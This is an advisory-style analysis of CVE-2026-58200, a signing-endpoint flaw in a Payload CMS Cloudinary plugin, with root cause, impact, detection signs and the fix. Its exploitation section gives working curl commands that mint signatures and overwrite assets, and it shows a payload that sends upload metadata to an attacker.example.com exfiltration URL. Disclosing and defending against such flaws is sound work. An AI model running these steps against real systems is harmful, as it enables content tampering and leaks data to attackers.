CVE-2026-58200: 
JavaScript vulnerability analysis and mitigation

CVE-2026-58200 is an Arbitrary Cloudinary API Parameter Signing vulnerability in the npm package @jhb.software/payload-cloudinary-plugin, affecting versions >= 0.3.0 and < 0.4.0 (specifically confirmed in v0.3.4). The flaw allows any authenticated Payload CMS user to obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters by exploiting an unvalidated server-side signing endpoint. It was published on June 19, 2026, and patched in version 0.4.0. The CVSS v3.1 base score is 7.1 (High) (GitHub Advisory, Vendor Advisory).

The root cause is classified as CWE-347 (Improper Verification of Cryptographic Signature). When clientUploads: true is configured, the plugin mounts a signing endpoint at POST /api/cloudinary-generate-signature. The vulnerable sink is in cloudinary/src/getGenerateSignature.ts at line 55, where the entire attacker-supplied body.paramsToSign object is passed verbatim to cloudinary.utils.api_sign_request() without any parameter allowlist, key filtering, folder policy enforcement, or timestamp freshness check. The access control check at line 18 only verifies !!req.user, meaning any authenticated user — regardless of privilege level — can reach the endpoint. Additionally, the Cloudinary API key is intentionally exposed to the client by the plugin at index.ts:68, meaning an attacker already possesses three of the four components needed for a direct Cloudinary upload (cloud name, API key, timestamp), with the signing endpoint supplying the missing fourth (GitHub Advisory, Vendor Advisory).

Successful exploitation enables any authenticated Payload user to mint valid Cloudinary HMAC-SHA1 signatures for arbitrary upload parameters, leading to multiple concrete attack outcomes: asset overwrite (overwrite=true) enabling content tampering or defacement; access-control bypass (type=private) to change asset delivery visibility; SSRF and upload metadata exfiltration via attacker-controlled notification_url webhooks; and path traversal (folder=../../../../admin-assets) to write or invalidate assets in arbitrary Cloudinary folders outside the configured upload directory. Integrity impact is rated High, with Low availability impact (CDN cache invalidation) and no direct confidentiality impact on the server itself, though SSRF may leak metadata to external attacker infrastructure (GitHub Advisory, Vendor Advisory).

1. Reconnaissance: Identify a target application using @jhb.software/payload-cloudinary-plugin v0.3.x with clientUploads: true configured. Obtain the Cloudinary cloud name and API key, which are exposed to the client by the plugin at index.ts:68.
2. Authenticate: Obtain a valid Payload CMS session token for any user account (any privilege level is sufficient).
3. Craft malicious signing request: Send a POST request to http://<target>/api/cloudinary-generate-signature?collectionSlug=media with a JSON body containing arbitrary paramsToSign, such as {"timestamp": "<unix_ts>", "folder": "attacker-controlled", "public_id": "overwrite-target", "overwrite": "true"}.

TS=$(date +%s)
SIG=$(curl -s -H "Authorization: Bearer <token>" -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

4. Receive valid signature: The server returns a cryptographically valid HMAC-SHA1 signature over the attacker-controlled parameters with HTTP 200.
5. Upload directly to Cloudinary: Use the minted signature, the exposed API key, and the attacker-chosen parameters to upload directly to the Cloudinary API, overwriting existing assets or writing to unauthorized paths.

curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \
  -F "file=@poc.txt" -F "api_key=$CLOUDINARY_API_KEY" -F "timestamp=$TS" \
  -F "folder=attacker" -F "public_id=overwrite-target" -F "overwrite=true" -F "signature=$SIG"

6. Optional SSRF: Include notification_url=http://attacker.example.com/exfil in paramsToSign to trigger a Cloudinary webhook callback to an attacker-controlled server upon upload completion, leaking upload metadata (Vendor Advisory).

• Network: Unexpected outbound HTTP callbacks from Cloudinary infrastructure to external or attacker-controlled URLs (indicative of notification_url abuse); direct Cloudinary API upload requests (https://api.cloudinary.com/v1_1/*/auto/upload) originating from non-application sources using the application's API key.
• Logs: Server access logs showing repeated POST requests to /api/cloudinary-generate-signature with unusual or large paramsToSign bodies containing keys such as overwrite, type, notification_url, or invalidate; HTTP 200 responses to such requests from low-privilege user accounts.
• Cloudinary Account Activity: Unexpected asset overwrites or new assets appearing in folders outside the configured upload directory; assets with type=private changed unexpectedly; CDN cache invalidation events for assets not recently modified by the application; webhook delivery logs showing callbacks to unrecognized URLs (Vendor Advisory).

Upgrade @jhb.software/payload-cloudinary-plugin to version 0.4.0, which introduces parameter allowlisting, folder policy enforcement, and path traversal prevention in getGenerateSignature.ts. The fix restricts paramsToSign to only the keys timestamp, folder, and public_id; enforces that folder matches the plugin's configured folder; and rejects public_id values containing .. or leading /. As an interim workaround for deployments that cannot immediately upgrade, consider disabling clientUploads: true if not strictly required, or implementing additional server-side middleware to validate and restrict the paramsToSign payload before it reaches the signing function (Vendor Advisory, GitHub Advisory).

The vulnerability was discovered and reported by EQSTLab (finder: 232-323) and published by the maintainer (jhb-dev) on June 19, 2026. The advisory was reviewed and added to the GitHub Advisory Database on the same day. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified at this time (GitHub Advisory).